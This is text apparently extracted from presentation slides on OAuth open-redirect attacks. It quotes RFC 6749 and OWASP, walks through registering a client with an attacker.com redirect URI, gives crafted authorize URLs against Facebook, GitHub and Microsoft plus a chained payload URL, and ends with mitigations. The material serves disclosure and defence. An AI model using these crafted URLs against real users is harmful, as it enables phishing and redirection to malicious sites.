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The Speci f i cat i on 
r f c6 749 – sect i on 4. 1. 2. 1

   If the request fails due to a missing, invalid, or mismatching
   redirection URI, or if the client identifier is missing or invalid,
   the authorization server SHOULD inform the resource owner of the
   error and MUST NOT automatically redirect the user-agent to the
   invalid redirection URI.

   If the resource owner denies the access request or if the request
   fails for reasons other than a missing or invalid redirection URI,
   the authorization server informs the client by adding the following
   parameters to the query component of the redirection URI using the
   "application/x-www-form-urlencoded" format,



The Pr obl em
Open Redi r ect  OWASP TOP 10

…an appl i cat i on t hat  t akes a par amet er  and 
r edi r ect s a user  t o t he par amet er  val ue wi t hout  any 
val i dat i on.  Thi s vul ner abi l i t y i s used i n phi shi ng 
at t acks t o get  user s t o vi si t  mal i ci ous si t es 
wi t hout  r eal i zi ng i t .



  The at t acker

The At t ack

• Regi st er s a new cl i ent  t o t he vi ct i m. com pr ovi der

• Regi st er s a r edi r ect  ur i  l i ke at t acker . com

• Cr af t  a speci al  URI  of  t he f or m ( wi t h a wr ong 
scope)

ht t p: / / vi ct i m. com/ aut hor i ze?r esponse_t ype=
code&cl i ent _i d
=bc88Fi t X1298KPj 2WS259BBMa9_KCf L3&scope=
WRONG_SCOPE&r edi r ect _ur i =ht t p: / / at t acker . com
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Li ve Exampl es

• Facebook:  ht t ps: / / gr aph. f acebook. com/ oaut h/
aut hor i ze?r esponse_t ype=code&cl i ent _i d
=1621835668046481&r edi r ect _ur i =ht t p: / / www. at t acker . com
/ &scope=WRONG_SCOPE

• Gi thub:  ht t ps: / / gi t hub. com/ l ogi n/ oaut h/ aut hor i ze?r esponse_t ype=
code&r edi r ect _ur i
=ht t p: / / at t acker . com2&cl i ent _i d=e2ddb90328315c367b11

• Mi crosoft:  ht t ps: / / l ogi n. l i ve. com
/ oaut h20_aut hor i ze. sr f ?r esponse_t ype=code&r edi r ect _ur i =ht t p: / /
at t acker . com&cl i ent _i d=000000004C12822C
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Secur i t y Compr omi se:  
The Aut hor i zat i on Ser ver  As Open 

Redi r ect or  

 ht t ps: / / AUTHORI ZATI ON_SERVER/ aut hor i ze?r esponse_t ype=t oken 
&cl i ent _i d=good- cl i ent &scope=VALI D_SCOPE &r edi r ect _ur i =ht t ps%3A
%2F%2AUTHORI ZATI ON_SERVER%Faut hor i ze %3Fr esponse_t ype%3Dcode 
%26cl i ent _i d%3Dat t acker - cl i ent - i d %26scope%3DI NVALI D_SCOPE 
%26r edi r ect _ur i %3Dht t ps%253A%252F%252Fat t acker . com



The Mi t i gat i on
ht t ps: / / t ool s. i et f . or g/ i d/ dr af t - br adl ey- oaut h- open-

r edi r ect or - 01. t xt

 
•  Respond wi t h an HTTP 400 ( Bad Request )  st at us code 

( r at her  t han 302)

•  Per f or m a r edi r ect  t o an i nt er medi at e URI  under  t he 
cont r ol  of  t he AS t o cl ear  r ef er er  

•  The f r agment  "#_=_"  MUST be appended t o t he er r or  
r edi r ect  URI .
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